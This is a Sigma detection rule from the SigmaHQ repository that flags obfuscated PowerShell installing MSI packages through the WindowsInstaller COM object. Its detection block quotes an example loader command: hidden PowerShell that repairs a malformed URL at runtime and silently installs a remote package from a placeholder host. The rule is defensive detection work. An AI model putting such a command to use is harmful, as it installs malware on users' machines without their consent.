Sigma rule: Obfuscated PowerShell MSI Install via WindowsInstaller COM

Rule

Title

Obfuscated PowerShell MSI Install via WindowsInstaller COM

Status

experimental

Level

high

Author

Meroujan Antonyan (vx3r)

Date

2025-05-27

File

rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml

Commit

ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.

Log source

product

windows

category

process_creation

Detection

# Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
selection_img:
    - Image|endswith:
          - '\powershell_ise.exe'
          - '\powershell.exe'
          - '\pwsh.exe'
    - OriginalFileName:
          - 'PowerShell_ISE.EXE'
          - 'PowerShell.EXE'
          - 'pwsh.dll'
selection_cli:
    CommandLine|contains|all:
        - '-ComObject'
        - 'InstallProduct('
        - '.Insert('
        - 'UILevel'
condition: all of selection_*

False positives (as the rule lists them)

• Unknown

Tags

• attack.stealth
• attack.t1027.010
• attack.t1218.007
• attack.execution
• attack.t1059.001

MITRE ATT&CK ids this rule names

• T1027.010
• T1059.001
• T1218.007

References

• https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
• https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
• https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml